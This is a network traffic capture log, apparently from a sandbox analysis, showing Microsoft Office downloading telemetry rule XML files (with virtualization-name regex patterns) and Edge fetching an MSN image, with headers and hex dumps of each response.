2024-11-23 00:14:46 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:46 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:46 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ca94d1e-301e-0000-0f9c-3beecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001446Z-174c587ffdfn4nhwhC1TEB2nbc000000024g00000000q4na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:46 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:46 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:46 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001446Z-15b8b599d88pxmdghC1TEBux9c000000028000000000ddzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:46 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:46 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001446Z-178bfbc474bq2pr7hC1NYCkfgg00000003vg000000008xvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:46 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:46 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001446Z-174c587ffdf8fcgwhC1TEBnn70000000028000000000nqt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:46 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:46 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001446Z-178bfbc474btvfdfhC1NYCa2en00000003t0000000009en4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49913	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:47 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:47 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=141050 Expires: Sun, 24 Nov 2024 15:25:37 GMT Date: Sat, 23 Nov 2024 00:14:47 GMT Connection: close
2024-11-23 00:14:47 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:48 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:48 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001448Z-178bfbc474bvjk8shC1NYC83ns00000003dg00000000ru6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:48 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:48 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:48 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001448Z-174c587ffdfmrvb9hC1TEBtn380000000270000000006eq0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:48 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:48 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001448Z-174c587ffdf4zw2thC1TEBu340000000026000000000kurn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:48 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:48 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:48 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001448Z-178bfbc474bgvl54hC1NYCsfuw00000003q000000000aznr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:48 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:48 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001448Z-15b8b599d88tmlzshC1TEB4xpn000000022g00000000917r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49919	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
